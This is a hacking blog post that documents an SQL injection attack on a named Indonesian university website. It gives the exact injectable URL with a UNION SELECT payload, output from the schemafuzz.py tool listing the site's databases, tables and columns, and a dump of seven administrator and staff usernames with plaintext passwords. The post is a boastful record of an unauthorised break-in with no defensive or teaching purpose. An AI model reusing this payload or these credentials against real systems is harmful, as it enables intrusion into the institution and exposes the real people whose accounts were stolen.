viperfx07 is here to blog about hacking, cracking, website, application, android, and many more.

Friday, October 3, 2008

[SQLi] http://www.unib.ac.id/

10:46 PM Posted by viperfx07 No comments
Tool: schemafuzz.py v5
Screenshot:


[+] URL:http://www.unib.ac.id/berita.php?id=32+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5,6,7,8--
[+] Evasion Used: "+" "--"
[+] 19:34:51
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: unib
User: webunib@localhost
Version: 5.0.41

[Database]: documents
[Table: Columns]
[0]acl: document_id,user_id,level
[1]chat: id,ref_id,user,subject,content,date
[2]documents: id,name,type,size,author,maintainer,revision,created,modified,kode_mk,kode_fak
[3]documents_content: id,content
[4]documents_info: id,info
[5]documents_keywords: id,keyword
[6]documents_kodemk: id,kode_mk
[7]documents_log: id,user,document,revision,date
[8]dosen: nip,nama,kode_fak
[9]fakultas: kode_fak,nama_fak
[10]gods: user
[11]grid: idcliente,nome,email,fone,endereco,contato,fax,ftp,ftplogin,ftpsenha,cgc,celular,login,senha,dataace,website,ativo,logo
[12]kelas: kode_kelas,nip,kode_mk,kode_fak
[13]mahasiswa: npm,nama,kode_fak,tahun_angkatan
[14]mata_kuliah: kode_mk,kode_fak,nama_mk,kredit
[15]session: id,active,frog
[16]users: id,user,pass,name,email

[Database]: unib
[Table: Columns]
[0]tbberita: idx_berita,title_berita,cont_desc,content,images,created,createdby,modify,modifyby
[1]tbtoday: idx_today,title,cont_desc,content,images,created,createdby,modify,modifyby
[2]tbwellcome: idx,judul,content,images,created,createdby,modify,modifyby
[3]users: id,login,pw,real_name,extra_info,email,access_level,active

[-] [19:35:36]
[-] Total URL Requests 131
[-] Done

[+] URL:http://www.unib.ac.id/berita.php?id=32+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5,6,7,8--
[+] Evasion Used: "+" "--"
[+] 19:36:32
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: unib
User: webunib@localhost
Version: 5.0.41
[+] Dumping data from database "unib" Table "users"
[+] Column(s) ['login', 'pw']
[+] Number of Rows: 7

[0] administrator:cmsunib:
[1] rektor:zainalmuktamar:
[2] today:today:
[3] sambutan:sambutan:
[4] redaksi:bengkulu:
[5] djonet:stafahlirektor:
[6] admin:rawas050678:rawas050678:

[-] [19:36:35]
[-] Total URL Requests 9
[-] Done

0 comments:

Post a Comment